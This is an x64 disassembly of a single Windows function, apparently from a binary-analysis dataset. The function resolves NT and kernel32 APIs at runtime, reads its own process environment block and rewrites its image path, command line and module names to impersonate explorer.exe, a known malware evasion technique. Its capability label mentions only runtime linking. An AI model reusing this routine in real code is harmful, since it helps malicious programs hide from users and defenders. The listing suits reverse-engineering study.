Function at 0x1400022e0
Capabilities:
Link many functions at runtime

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x6c8
lea rcx, str.ntdll.dll
mov r13, qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call r13
mov rbx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtQueryInformationProcess
mov r12, rax
mov rcx, rax
call rbx
mov rdi, rax
test rax, rax
jne 0x140002329
xor eax, eax
jmp 0x1400025e7
lea rdx, str.RtlEnterCriticalSection
mov rcx, r12
call rbx
mov rbp, rax
test rax, rax
je 0x140002322
lea rdx, str.RtlLeaveCriticalSection
mov rcx, r12
call rbx
mov qword [rsp + 0x38], rax
test rax, rax
je 0x140002322
lea rdx, str.RtlInitUnicodeString
mov rcx, r12
call rbx
mov rsi, rax
test rax, rax
je 0x140002322
lea rcx, str.kernel32.dll
call r13
lea rdx, str.GetCurrentProcessId
mov r13, rax
mov rcx, rax
call rbx
mov r14, rax
test rax, rax
je 0x140002322
lea rdx, str.OpenProcess
mov rcx, r13
call rbx
mov r12, rax
test rax, rax
je 0x140002322
call r14
xor edx, edx
mov ecx, 0x438
mov r8d, eax
call r12
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x140002322
mov r9d, 0x30
lea r8, [rsp + 0x70]
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x20], 0
call rdi
lea rdx, str.ReadProcessMemory
mov rcx, r13
call rbx
mov rdi, rax
test rax, rax
je 0x140002322
lea rdx, [rsp + 0x78]
mov r9d, 8
lea r8, [rsp + 0x50]
mov rcx, r12
mov qword [rsp + 0x20], 0
call rax
test eax, eax
je 0x140002322
mov rax, qword [rsp + 0x50]
mov r9d, 8
lea r8, [rsp + 0x58]
mov rcx, r12
mov qword [rsp + 0x20], 0
lea rdx, [rax + 0x18]
call rdi
test eax, eax
je 0x140002322
lea rdx, str.GetWindowsDirectoryW
mov rcx, r13
call rbx
test rax, rax
je 0x140002322
lea r15, [rsp + 0x4b6]
mov edx, 0x104
mov rcx, r15
call rax
lea r8, str.explorer.exe
mov edx, 0x105
mov rcx, r15
call qword [sym.imp.msvcrt.dll_wcscat_s]
mov ecx, 0x104
call sub.msvcrt.dll_malloc
mov r8, r15
mov edx, 0x104
mov r14, rax
mov rcx, rax
call qword [sym.imp.msvcrt.dll_wcscpy_s]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax + 0x38]
call rbp
mov rax, qword [rsp + 0x50]
mov rdx, r14
lea rbp, [rsp + 0x2ae]
mov rcx, qword [rax + 0x20]
add rcx, 0x60
call rsi
mov rax, qword [rsp + 0x50]
mov rdx, r14
mov rcx, qword [rax + 0x20]
add rcx, 0x70
call rsi
mov r8d, 0x104
mov rdx, rbp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0x50]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x58]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
mov r8, qword [rsp + 0x48]
lea rdx, [rsp + 0x68]
mov r9d, 8
mov rcx, r12
mov qword [rsp + 0x20], 0
call rdi
test eax, eax
je 0x140002322
mov rax, qword [rsp + 0x60]
lea rdx, [rsp + 0xa6]
mov rcx, r12
mov qword [rsp + 0x30], rdx
mov r8, qword [rsp + 0x30]
movzx r9d, word [rax + 0x4a]
mov rdx, qword [rax + 0x50]
mov qword [rsp + 0x20], 0
call rdi
test eax, eax
je 0x140002322
mov rcx, rbp
mov rdx, qword [rsp + 0x30]
call qword [sym.imp.msvcrt.dll__wcsicmp]
mov rcx, qword [rsp + 0x60]
test eax, eax
jne 0x140002594
add rcx, 0x48
mov rdx, r14
call rsi
mov rax, qword [rsp + 0x60]
mov rdx, r14
lea rcx, [rax + 0x58]
call rsi
jmp 0x1400025a7
mov rax, qword [rcx]
mov qword [rsp + 0x68], rax
cmp rax, qword [rsp + 0x40]
jne 0x140002508
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax + 0x38]
mov rax, qword [rsp + 0x38]
call rax
lea rdx, str.CloseHandle
mov rcx, r13
call rbx
test rax, rax
je 0x140002322
mov rcx, r12
call rax
mov rdx, qword [rsp + 0x30]
mov rcx, r15
call qword [sym.imp.msvcrt.dll__wcsicmp]
test eax, eax
setne al
movzx eax, al
add rsp, 0x6c8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret